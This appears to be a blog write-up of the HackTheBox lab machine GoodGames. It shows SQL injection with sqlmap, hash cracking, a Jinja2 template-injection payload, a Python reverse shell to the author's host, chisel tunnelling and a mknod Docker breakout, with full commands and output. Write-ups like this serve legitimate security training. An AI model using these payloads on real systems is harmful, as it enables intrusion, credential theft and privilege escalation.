htb-goodgames

HTB-GoodGames

  • There is an SQL Injection in the /login endpoint
  • After retrieving the database content, cracking the admin hash and logging in as the admin, a new subdomain is revealed
  • The subdomain has a Server Side Template Injection, so you can get a shell
  • You now have the user flag
  • The home folder is mounted in the Docker, so you can write the authorized_keys file and connect as the user to the host through the Docker network
  • You can use a mknod privilege escalation to be able to read the raw /dev/sda and grep for the flag
  • You now have the root flag

 nmap

As always, we start with nmap to scan the box:

➜ nmap -sC -sV goodgames.htb
Starting Nmap 7.92 ( https://nmap.org ) at 2021-11-19 13:11 GMT
Nmap scan report for goodgames.htb (10.129.226.183)
Host is up (0.048s latency).
Not shown: 999 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.48
|_http-title: GoodGames | Community and Store
|_http-server-header: Werkzeug/2.0.2 Python/3.9.2

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.52 seconds

Port 80 is open. Taking a look at it, shows a basic gaming website with some articles and images. Let’s enumerate some things.

gobuster

✗  gobuster dir --exclude-length 9265 -k -u http://goodgames.htb/ -s 200,204,301,302,307 -w /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://goodgames.htb/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] Exclude Length:          9265
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2021/11/19 13:13:31 Starting gobuster in directory enumeration mode
===============================================================
/blog                 (Status: 200) [Size: 44212]
/forgot-password      (Status: 200) [Size: 32744]
/login                (Status: 200) [Size: 9294] 
/logout               (Status: 302) [Size: 208] [--> http://goodgames.htb/]
/profile              (Status: 200) [Size: 9267]                           
/server-status        (Status: 403) [Size: 278]                            
/signup               (Status: 200) [Size: 33387] 

The gobuster1 shows that there are some API endpoints, but none of them were actually hidden so it didn’t reveal any new information.

SQL injection

After looking around at some endpoints and see if there was some actual important information being sent, I decided to start running sqlmap because I was out of ideas. An easy way of doing this is by copy-pasting the HTTP request from Burp into request.txt and run sqlmap -r request.txt. I first started testing the signup and and forgot password endpoint because I was already logged in, but after failing I remembered the following popup:

Login box

This one is also an endpoint, the /login endpoint. SQLMap found the following:

[13:35:56] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[13:36:07] [INFO] POST parameter 'email' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable 
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] 

Unfortunately, SQLMap only found a time-based blind SQL injection the first time. Running it a second time (when I already had user), it revealed that there was also just a boolean-based injection possible which is much faster to exploit. This has probably cost me a first-blood since I waited for like 30 minutes to complete the whole dumping of the user table:

➜ sqlmap -r request.txt -D main --tables
        ___
       __H__
 ___ ___[']_____ ___ ___  {1.5.9#stable}
|_ -| . [.]     | .'| . |
|___|_  [(]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 13:41:17 /2021-11-19/

[13:41:17] [INFO] parsing HTTP request from 'request.txt'
[13:41:18] [INFO] resuming back-end DBMS 'mysql' 
[13:41:18] [INFO] testing connection to the target URL
got a refresh intent (redirect like response common to login pages) to '/profile'. Do you want to apply it from now on? [Y/n] n
you have not declared cookie(s), while server wants to set its own ('session=eyJfZnJlc2g...35WJubrPaM'). Do you want to use those [Y/n] n
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: email (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: email=asdf@asdf.com' AND (SELECT 5175 FROM (SELECT(SLEEP(5)))OVKm) AND 'UVZY'='UVZY&password=asdf
---
[13:41:19] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
[13:41:19] [INFO] fetching tables for database: 'main'
[13:41:19] [INFO] fetching number of tables for database 'main'
[13:41:19] [WARNING] time-based comparison requires larger statistical model, please wait.............................. (done)                                                                                   
[13:41:23] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions 
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] 
[13:41:40] [INFO] adjusting time delay to 2 seconds due to good response times
3
[13:41:40] [INFO] retrieved: blog
[13:42:11] [INFO] retrieved: blog_comments
[13:43:29] [INFO] retrieved: user
Database: main
[3 tables]
+---------------+
| user          |
| blog          |
| blog_comments |
+---------------+

Dumping the content of the user table (this part took about 30 minutes):

Database: main
Table: user
[1 entry]
+----+-------+---------------------+----------------------------------+
| id | name  | email               | password                         |
+----+-------+---------------------+----------------------------------+
| 1  | admin | admin@goodgames.htb | 2b22337f218b2d82dfc3b6f77e7cb8ec |
+----+-------+---------------------+----------------------------------+

hashid revealed that it is probably just a MD5 hash, so cracking it with rockyou.txt resulted in the following:

➜ hashcat --show -m 0 hash.txt /usr/share/wordlists/rockyou.txt
2b22337f218b2d82dfc3b6f77e7cb8ec:superadministrator

Now we can authenticate with admin@goodgames.htb and password superadministrator. The taskbar now had a new icon:

Login box

This revealed a new subdomain http://internal-administration.goodgames.htb/ with the following page (add the internal-administration.goodgames.htb to your /etc/hosts file in your VM):

Here the credentials admin:superadministrator worked.

SSTI

There is not a lot to interact with on this webpage and we know from the nmap scan that this page is hosted using Werkzeug, so it has a high chance of being a Flask website. And therefore it also has a high chance of having a SSTI vulnerability. It is possible to change your username in the settings page. So I decided to set my username to {{7*'7'}} to see if it has an SSTI:

Since the username is now 7777777 instead of {{7*'7'}}, we now have code execution. So we can change our username to something more useful:2

{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}

In Burp we modify the following request

POST /settings HTTP/1.1
Host: internal-administration.goodgames.htb
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 26
Origin: http://internal-administration.goodgames.htb
DNT: 1
Connection: close
Referer: http://internal-administration.goodgames.htb/settings
Cookie: session=.eJwtjj2uAjEQg--SmiKTmU0yXGY1vwIhgbQLFeLuL8UrXNiyre9b9jzivJXr-_jEpex3L9cCGAzuPXWrFr05ANQZIyCFpDN7pixVMs9pLJxhNITIxdG7gdcqWrOrs3Hk5qyESjLYrFOtuIHOAGENAFJrrDbXFaVxH2WBfM44_mmWtfPI_f16xHMFiIHScDXDk9Zq2JSQwGiyALSNBq1tVn5_dbxCzg.YZtiUA.V3w_G7Kzenv9ahJqUfqJqWskcD8
Upgrade-Insecure-Requests: 1

name=%7B%7B7*%277%27%7D%7D

to the more useful payload (including the Python 3 #2 reverse shell from revshells.com as the input GET parameter)

POST /settings?input=python3+-c+'import+socket,subprocess,os%3bs%3dsocket.socket(socket.AF_INET,socket.SOCK_STREAM)%3bs.connect(("10.10.14.12",4444))%3bos.dup2(s.fileno(),0)%3b+os.dup2(s.fileno(),1)%3bos.dup2(s.fileno(),2)%3bimport+pty%3b+pty.spawn("sh")' HTTP/1.1
Host: internal-administration.goodgames.htb
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 206
Origin: http://internal-administration.goodgames.htb
DNT: 1
Connection: close
Referer: http://internal-administration.goodgames.htb/settings
Cookie: session=.eJwtzjtuAzEMBNC7qE5BWhQl-jILfpEgQALs2lWQu1sBUrAYFjPvpx115vXe7o_zmW_t-Ih2b9hTMILLBnjyLRARVs7EUlIWiSrdB-RRy0Wl0mkqUWj0YMcAUINiC3HJGiFG3UinuDMB9IG2ElUsEcn8JuZrV1G58Gwb8rzy_Nfs6NdZx-P7M7_2YyPYZIHsTVkTdUh2mKw0AKf_cWEMofb7AlDqQNQ.YZewxw.eLQVvbBAIydhUNNwfeRe_JXuVIc
Upgrade-Insecure-Requests: 1

name={%25+for+x+in+().__class__.__base__.__subclasses__()+%25}{%25+if+"warning"+in+x.__name__+%25}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%25endif%25}{%25endfor%25}

Also opening a nc listener gives me the shell and also the flag:

➜ nc -lnvp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.129.228.108.
Ncat: Connection from 10.129.228.108:37388.
# ls -al
ls -al
total 28
drwxr-xr-x 1 root root 4096 Nov  5 15:23 .
drwxr-xr-x 1 root root 4096 Nov  5 15:23 ..
-rw-r--r-- 1 root root  122 Nov  3 10:07 Dockerfile
drwxr-xr-x 1 root root 4096 Nov  3 17:37 project
-rw-r--r-- 1 root root  208 Nov  3 10:07 requirements.txt
# cd /home/augustus
cd /home/augustus
# ls -al
ls -al
total 24
drwxr-xr-x 2 1000 1000 4096 Nov  3 10:16 .
drwxr-xr-x 1 root root 4096 Nov  5 15:23 ..
lrwxrwxrwx 1 root root    9 Nov  3 10:16 .bash_history -> /dev/null
-rw-r--r-- 1 1000 1000  220 Oct 19 11:16 .bash_logout
-rw-r--r-- 1 1000 1000 3526 Oct 19 11:16 .bashrc
-rw-r--r-- 1 1000 1000  807 Oct 19 11:16 .profile
-rw-r----- 1 root 1000   32 Nov  3 10:13 user.txt
# cat user.txt
cat user.txt
HTB{7h4T_w45_Tr1cKy_1_D4r3_54y}

root

Running linpeas revealed the following interesting information:

╔══════════╣ Container & breakout enumeration
╚ https://book.hacktricks.xyz/linux-unix/privilege-escalation/docker-breakout
═╣ Container ID ................... 3a453ab39d3d═╣ Container Full ID .............. 3a453ab39d3df444e9b33e4c1d9f2071827b3b7b20a8d3357b7754a84b06685f
═╣ Vulnerable to CVE-2019-5021 .. No

╔══════════╣ Interesting Files Mounted
overlay on / type overlay (rw,relatime,lowerdir=/var/lib/docker/overlay2/l/BMOEKLXDA4EFIXZ4O4AP7LYEVQ:/var/lib/docker/overlay2/l/E365MWZN2IXKTIAKIBBWWUOADT:/var/lib/docker/overlay2/l/ZN44ERHF3TPZW7GPHTZDOBQAD5:/var/lib/docker/overlay2/l/BMI22QFRJIUAWSWNAECLQ35DQS:/var/lib/docker/overlay2/l/6KXJS2GP5OWZY2WMA64DMEN37D:/var/lib/docker/overlay2/l/FE6JM56VMBUSHKLHKZN4M7BBF7:/var/lib/docker/overlay2/l/MSWSF5XCNMHEUPP5YFFRZSUOOO:/var/lib/docker/overlay2/l/3VLCE4GRHDQSBFCRABM7ZL2II6:/var/lib/docker/overlay2/l/G4RUINBGG77H7HZT5VA3U3QNM3:/var/lib/docker/overlay2/l/3UIIMRKYCPEGS4LCPXEJLYRETY:/var/lib/docker/overlay2/l/U54SKFNVA3CXQLYRADDSJ7NRPN:/var/lib/docker/overlay2/l/UIMFGMQODUTR2562B2YJIOUNHL:/var/lib/docker/overlay2/l/HEPVGMWCYIV7JX7KCI6WZ4QYV5,upperdir=/var/lib/docker/overlay2/4bc2f5ca1b7adeaec264b5690fbc99dfe8c555f7bc8c9ac661cef6a99e859623/diff,workdir=/var/lib/docker/overlay2/4bc2f5ca1b7adeaec264b5690fbc99dfe8c555f7bc8c9ac661cef6a99e859623/work)
proc on /proc type proc (rw,nosuid,nodev,noexec,relatime)
tmpfs on /dev type tmpfs (rw,nosuid,size=65536k,mode=755)
devpts on /dev/pts type devpts (rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=666)
sysfs on /sys type sysfs (ro,nosuid,nodev,noexec,relatime)
tmpfs on /sys/fs/cgroup type tmpfs (rw,nosuid,nodev,noexec,relatime,mode=755)
cgroup on /sys/fs/cgroup/systemd type cgroup (ro,nosuid,nodev,noexec,relatime,xattr,name=systemd)
cgroup on /sys/fs/cgroup/net_cls,net_prio type cgroup (ro,nosuid,nodev,noexec,relatime,net_cls,net_prio)
cgroup on /sys/fs/cgroup/rdma type cgroup (ro,nosuid,nodev,noexec,relatime,rdma)
cgroup on /sys/fs/cgroup/memory type cgroup (ro,nosuid,nodev,noexec,relatime,memory)
cgroup on /sys/fs/cgroup/blkio type cgroup (ro,nosuid,nodev,noexec,relatime,blkio)
cgroup on /sys/fs/cgroup/devices type cgroup (ro,nosuid,nodev,noexec,relatime,devices)
cgroup on /sys/fs/cgroup/cpu,cpuacct type cgroup (ro,nosuid,nodev,noexec,relatime,cpu,cpuacct)
cgroup on /sys/fs/cgroup/cpuset type cgroup (ro,nosuid,nodev,noexec,relatime,cpuset)
cgroup on /sys/fs/cgroup/freezer type cgroup (ro,nosuid,nodev,noexec,relatime,freezer)
cgroup on /sys/fs/cgroup/perf_event type cgroup (ro,nosuid,nodev,noexec,relatime,perf_event)
cgroup on /sys/fs/cgroup/pids type cgroup (ro,nosuid,nodev,noexec,relatime,pids)
mqueue on /dev/mqueue type mqueue (rw,nosuid,nodev,noexec,relatime)
/dev/sda1 on /home/augustus type ext4 (rw,relatime,errors=remount-ro)
/dev/sda1 on /etc/resolv.conf type ext4 (rw,relatime,errors=remount-ro)
/dev/sda1 on /etc/hostname type ext4 (rw,relatime,errors=remount-ro)
/dev/sda1 on /etc/hosts type ext4 (rw,relatime,errors=remount-ro)
shm on /dev/shm type tmpfs (rw,nosuid,nodev,noexec,relatime,size=65536k)
proc on /proc/bus type proc (ro,nosuid,nodev,noexec,relatime)
proc on /proc/fs type proc (ro,nosuid,nodev,noexec,relatime)
proc on /proc/irq type proc (ro,nosuid,nodev,noexec,relatime)
proc on /proc/sys type proc (ro,nosuid,nodev,noexec,relatime)
proc on /proc/sysrq-trigger type proc (ro,nosuid,nodev,noexec,relatime)
tmpfs on /proc/acpi type tmpfs (ro,relatime)
tmpfs on /proc/kcore type tmpfs (rw,nosuid,size=65536k,mode=755)
tmpfs on /proc/keys type tmpfs (rw,nosuid,size=65536k,mode=755)
tmpfs on /proc/timer_list type tmpfs (rw,nosuid,size=65536k,mode=755)
tmpfs on /proc/sched_debug type tmpfs (rw,nosuid,size=65536k,mode=755)
tmpfs on /sys/firmware type tmpfs (ro,relatime)
╔══════════╣ Unexpected in root
/backend
/.dockerenv

From this it is clear that we are in a Docker container where some directories from the host are mounted into the Docker container, especially /home/augustus. From playing some HTB Battlegrounds, I knew that it is an easy win to write the authorized_keys file to a home directory to SSH as that user. This could also be the case with this box, but the initial nmap revealed that no SSH port was open. However, we are now inside the Docker container so we have access to the Docker network. /etc/hosts revealed the following:

# cat /etc/hosts
cat /etc/hosts
127.0.0.1       localhost
::1     localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
172.19.0.2      3a453ab39d3d

So this container has the 172.19.0.2 IP in the Docker container. Therefore we may assume that the host is at 172.19.0.1 and we can try to connect to that. Because the reverse shell is pretty limited, I decided to use chisel to easily connect from my VM to the network in the Docker.

Connecting chisel

Locally (in my VM) I run the following command:

➜ chisel server -p 9999 --reverse
2021/11/22 09:40:34 server: Reverse tunnelling enabled
2021/11/22 09:40:34 server: Fingerprint jovfYSXPi4CSxJz77hafCfJDQQjnJru9QCIYAqjBCkA=
2021/11/22 09:40:34 server: Listening on http://0.0.0.0:9999

In the Docker container I wget the chisel binary and run it like this (10.10.14.12 is the local IP):

# ./chisel client 10.10.14.12:9999 R:socks
./chisel client 10.10.14.12:9999 R:socks
2021/11/22 09:41:59 client: Connecting to ws://10.10.14.12:9999
2021/11/22 09:41:59 client: Connected (Latency 44.860751ms)

And I create the following file in my VM:

➜ cat proxychains.conf 
[ProxyList]
socks5 127.0.0.1 1080

Now I am able to use proxychains4 to run any command within the network of the Docker container. A quick nmap scan revealed that port 22 was open, so we can SSH into it:

✗  proxychains4 -f proxychains.conf ssh -i id_rsa augustus@172.19.0.1
[proxychains] config file found: proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] Dynamic chain  ...  127.0.0.1:1080  ...  172.19.0.1:22  ...  OK
Linux GoodGames 4.19.0-18-amd64 #1 SMP Debian 4.19.208-1 (2021-09-29) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
augustus@GoodGames:~$ ls -al
total 28
drwxr-xr-x 3 augustus augustus 4096 Nov 22 09:31 .
drwxr-xr-x 3 root     root     4096 Oct 19 12:16 ..
lrwxrwxrwx 1 root     root        9 Nov  3 10:16 .bash_history -> /dev/null
-rw-r--r-- 1 augustus augustus  220 Oct 19 12:16 .bash_logout
-rw-r--r-- 1 augustus augustus 3526 Oct 19 12:16 .bashrc
-rw-r--r-- 1 augustus augustus  807 Oct 19 12:16 .profile
drwxr-xr-x 2 root     root     4096 Nov 22 09:31 .ssh
-rw-r----- 1 root     augustus   32 Nov  3 10:13 user.txt
augustus@GoodGames:~$ cat user.txt
HTB{7h4T_w45_Tr1cKy_1_D4r3_54y}

Now we are again in the home folder of augustus, but now on the host.

Unintended3 path for privilege escalation

Now we have to make a decision: we can try to solve it the easy way, or we can try to solve it the difficult way. Naturally I decided to go for the difficult way.4

We have the following situation:

  • Root in the Docker
  • User in the host

I searched online for a privilege escalation method for this and I found the following article.

It described a way of being able to read /dev/sda using the mknod command. I decided to exactly reproduce the following image of the blog:5

  1. Get another reverse shell in docker as root (send the Burp request again with a different port)
  2. Run mknod sda b 8 0, chmod 777 sda, add augustus and su to augustus to open a /bin/sh session in the Docker:
# cd /
cd /
# mknod sda b 8 0
mknod sda b 8 0
# chmod 777 sda
chmod 777 sda

# echo "augustus:x:1000:1000:augustus,,,:/home/augustus:/bin/bash" >> /etc/passwd
echo "augustus:x:1000:1000:augustus,,,:/home/augustus:/bin/bash" >> /etc/passwd
# su augustus
su augustus
su: Authentication failure
(Ignored)
augustus@3a453ab39d3d:/backend$ /bin/sh
/bin/sh
$ 
  1. On the host check the process ID of the /bin/sh shell in the Docker:
augustus@GoodGames:~$ ps -auxf | grep /bin/sh
root      1496  0.0  0.0   4292   744 ?        S    09:30   0:00      \_ /bin/sh -c python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.12",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
root      1627  0.0  0.0   4292   756 ?        S    09:44   0:00      \_ /bin/sh -c python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.12",4445));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
augustus  1659  0.0  0.0   4292   712 ?        S+   09:48   0:00                          \_ /bin/sh
augustus  1661  0.0  0.0   6116   648 pts/0    S+   09:48   0:00              \_ grep /bin/sh
  1. The process ID is 1659 in this case
  2. Grep for the sda for HTB{ through the process:
augustus@GoodGames:~$ grep -a 'HTB{' /proc/1659/root/sda 
HTB{7h4T_w45_Tr1cKy_1_D4r3_54y}
HTB{M0un73d_F1l3_Sy57eM5_4r3_DaNg3R0uS}
grep: memory exhausted
augustus@GoodGames:~$ 

And this gives both flags after a short amount of time.

All credits to: https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames/

.

 


Posted on

Leave a Reply

Your email address will not be published. Required fields are marked *